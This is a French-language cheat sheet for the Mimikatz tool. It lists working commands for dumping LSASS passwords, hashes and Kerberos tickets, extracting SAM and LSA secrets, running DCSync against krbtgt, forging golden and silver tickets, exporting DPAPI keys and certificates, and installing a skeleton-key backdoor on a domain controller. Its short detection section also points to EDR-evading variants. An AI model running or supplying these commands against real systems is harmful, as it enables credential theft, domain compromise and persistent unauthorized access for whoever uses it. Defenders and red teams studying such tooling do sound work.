Mimikatz — outil — sheet.sec

#Préparer

powershell

# Exécuter en admin (ou SYSTEM)
.\mimikatz.exe

mimikatz # privilege::debug
mimikatz # token::elevate

#Secrets LSASS

powershell

# Mots de passe et hashes des sessions actives
mimikatz # sekurlsa::logonpasswords

# WDigest (mot de passe en clair si activé)
mimikatz # sekurlsa::wdigest

# Clés Kerberos
mimikatz # sekurlsa::ekeys

# Tickets présents en mémoire
mimikatz # sekurlsa::tickets /export

powershell

# Dump LSASS hors ligne
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Analyse avec pypykatz
pypykatz lsa minidump lsass.dmp

#SAM, LSA et DCSync

powershell

# Comptes locaux (hashs NTLM)
mimikatz # lsadump::sam

# Secrets LSA (dont clés de service)
mimikatz # lsadump::lsa /patch

# DCSync : extraire le hash d'un compte du domaine
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Trusts et mots de passe de confiance
mimikatz # lsadump::trust /patch

#Tickets Kerberos

powershell

# Golden ticket (krbtgt nécessaire)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:KRBTGT_HASH /ptt

# Silver ticket (hash du compte de service)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /target:fileserver.domain.local \
  /service:cifs /rc4:SERVICE_HASH /ptt

# Charger un ticket existant
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # kerberos::list

#DPAPI et certificats

powershell

# Clés de chiffrement utilisateur
mimikatz # dpapi::masterkey /in:masterkey.bin /rpc

# Certificats de la machine
mimikatz # crypto::certificates /systemstore:local_machine /export

powershell

# Skeleton key : mot de passe maître pour tous les comptes (DC)
mimikatz # misc::skeleton

# Vérifier que la backdoor est active
# Login : n'importe quel compte avec le mot de passe "mimikatz"

#Détection

Accès suspect à lsass.exe (handle PROCESS_VM_READ).
Création de lsass.dmp, de services ou de tickets inhabituels.
Event 4768/4769 anormaux, golden ticket avec des durées de vie étranges.
EDR : les chaînes Mimikatz sont largement signatureées ; préfère des variantes comme pypykatz, SafetyKatz ou un dump via comsvcs.dll en environnement de test.